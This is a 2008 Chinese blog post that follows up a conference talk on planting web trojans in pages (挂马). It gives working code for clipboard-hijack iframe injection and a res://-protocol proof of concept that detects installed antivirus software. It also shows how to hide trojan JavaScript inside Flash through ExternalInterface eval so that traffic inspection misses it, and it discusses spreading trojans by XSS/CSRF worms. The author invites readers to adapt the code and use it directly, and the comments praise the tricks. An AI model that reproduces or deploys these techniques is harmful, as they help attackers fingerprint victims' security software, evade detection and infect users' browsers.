百度空间 | 百度首页 
               
 
查看文章
 
xKungfoo上的网马猥亵技巧
2008-11-21 16:35

今天xKungfoo最后一天,G在上面做了个挂马产业链的议题。有些挂马猥亵技巧没有说详细,这里公开吧。其实有些没什么,就是技巧,有些人也玩过。

第一个、剪贴板劫持挂马

其实这是针对富文本编辑器的一种隐蔽的攻击方式,当你粘贴某段从别处拷贝来的文字时,就会执行一个iframe标签对象(富文本编辑器的性质),iframe加载网马。简单的demo:

<iframe src=http://www.baidu.com/ height=110 width=110></iframe>
<script>
var iframe = document.getElementsByTagName("iframe")[0];
var rng = document.body.createControlRange();
rng.add(iframe);
rng.execCommand('Copy');
</script>

只在IE6下有效,如何去扩展就看各位了,其实一般这样猥亵的技巧仅供娱乐,真正的运用,我觉得也是不太可能的,除非它变得更加猥亵。

第二个、img远程域检测本地域软件安装情况

网马要检测本地安装什么软件?无非就是那些安全软件,卡巴、小红伞、360、365门神(AD:顺便说下,365不是畅游巡警的山寨- -,和360的定位是不一样的)之类。稳定的demo:

<script>
////////////////////////////////////////////////////////
//Name: img标签远程域检测本地域软件是否存在poc
//Description: IE浏览器都有效
//Author: Knownsec Team
//Date: 2008-11-03
////////////////////////////////////////////////////////
knownImg = {}
knownImg.resList = [ //数组中填写本地软件id值与图片地址值(res协议或file协议)
{id: 'Avira', res: 'res://C:\\Program%20Files\\Avira\\AntiVir%20PersonalEdition%20Classic\\setup.dll/#2/#132'},
{id: 'baidu', res: 'res://C:\\Program%20Files\\baidu\\Baidu%20Hi\\BaiduHi.exe/#2/#152'},
{id: 'Super Rabbit', res: 'res://C:\\Program%20Files\\Super%20Rabbit\\MagicSet\\timedate.exe/#2/BBNO'},
{id: '365Menshen', res: 'res://C:\\Program%20Files\\365Menshen\\menshen.exe/#2/#227'},
{id: 'quicktime', res: 'res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403'}
];
knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组
knownImg.tmp_resList = new Array();

knownImg.checkSoft = function(){ //检测函数
if (document.all){
   x = new Array();
   for (i = 0; i < knownImg.resList.length; i++){
    x[i] = new Image();
    x[i].src = "";
    knownImg.ok_resList.push(knownImg.resList[i].id); //将resList里的id值依次扔进ok_resList数组中
    x[i].onload = function(){
     //alert(knownImg.resList[i].id + ': return true');
    }
    x[i].onerror = function(){
     //alert(knownImg.resList[i].id + ': return false');
     knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值
    }
    x[i].src = knownImg.resList[i].res;
   }
}
}
knownImg.checkSoft();

alert(knownImg.ok_resList); //弹出
document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />'));
</script>

IE6/7/8通杀,我写完这个POC没几天就被告之老外早已经给出POC了,上面这些代码是我们自己探讨出来的,当时对res协议还不太懂,还问了一些朋友。现在我们的这个POC扩展性好,很稳定。大家可以改改直接使用。

第三个、利用Flash封装网马

这个更加猥亵,我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马JS代码。那就没什么办法保护我们的网马JS代码了?有……

我们使用Flash来封装网马,这样,使用Flash AS的扩展API:ExternalInterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:

import flash.external.*;
ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");

上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。

G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。

第四个、Web2.0蠕虫式挂马

这个要怎么说呢,传统的挂马方式危害很大的有mass sql injection,在短时间内批量注入挂马。我们至今没见到Web2.0蠕虫式的挂马,大家讨论了认为:这是成本问题(但是是不是这样我就不知道了),不是谁都可以轻易写出Web2.0蠕虫。不过大风今天在xKungfoo上说今后会让大家很方便写出XSS蠕虫的,那就是anehta平台将会提供打包一些蠕虫功能。

Web2.0蠕虫现在有两种表现形式:XSS蠕虫与CSRF蠕虫。在Web2.0蠕虫的传播过程中完全可以挂马。以前放出的一些Web2.0蠕虫都是一个玩笑,没给出危害,但是千万不要认为这永远都是黑客的一个玩笑。我们相信挂马的方式会出现这个的……

恩,这就是今天G的演讲内容的其中一部分。还有一些猥亵的技巧,也许对我们的Webscan全网监控系统都是一个挑战,不过我相信普通挂马者不会使用某些猥亵技巧,那就仅当娱乐吧。


类别:Script Attack | 添加到搜藏 | 浏览() | 评论 (18)
 
最近读者:
 
网友评论:
1
2008-11-21 17:52 | 回复
看完 颤抖中~~
 
2
2008-11-21 18:27 | 回复
同上 颤抖……
 
3
2008-11-21 18:50 | 回复
利用Flash封装网马这个很赞。 Web2.0蠕虫式挂马 - -~ 太疯狂
 
4
2008-11-21 19:30 | 回复
跟着 颤抖中~~
 
5
2008-11-21 19:50 | 回复
Anehta的计划之一就有用flash封装大量JS API,也是出于隐蔽性考虑 另外你今天和我说的那个res://探测软件的方法很好,我会加到anehta中。感谢分享,呵呵
 
6
2008-11-21 20:25 | 回复
今天你在我前面狂写的原来是这个,呵呵,真是一个勤奋的好学生了。 今天看到好多牛~~
 
7
2008-11-21 20:41 | 回复
呵呵,xcon xkungfoo见到了圈内的好多牛人,收获不小。 认识了好些朋友,这样的见面真难得。
 
8
2008-11-21 21:33 | 回复
也来颤抖了
 
9
2008-11-21 21:52 | 回复
顶余弦。
 
10
2008-11-21 21:55 | 回复
原来那些东西还没讲全。。。。看来要是一个很黑的攻击者去用那应该很不错
 
11
2008-11-21 21:56 | 回复
今天去sun 的tech day了,不知道有人去吗?
 
12
2008-11-21 22:59 | 回复
针对剪切板补充IE7下有效 http://www.readlog.cn/archives/2895/
 
13
2008-11-21 23:49 | 回复
res协议我最早研究是的是腾讯和迅雷的
 
14
2008-11-21 23:50 | 回复
res协议我最早研究是的是腾讯和迅雷的
 
16
2008-11-22 13:47 | 回复
那只是对于其他浏览器使用了FLASH进行COPY文本。 我做的是对象COPY
 
17
2008-11-30 11:11 | 回复
第二个,IE里通过RES协议访问本地资源,这个本来微软说要封的,很多年的问题了,RSNAKE有个通过时间差来判断机器补丁的POC。
 
18
2008-12-07 09:04 | 回复
.......
 
19
2008-12-21 08:52 | 回复
来到这儿可以静静地欣赏,可以不停的颤抖 喜欢来这儿
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu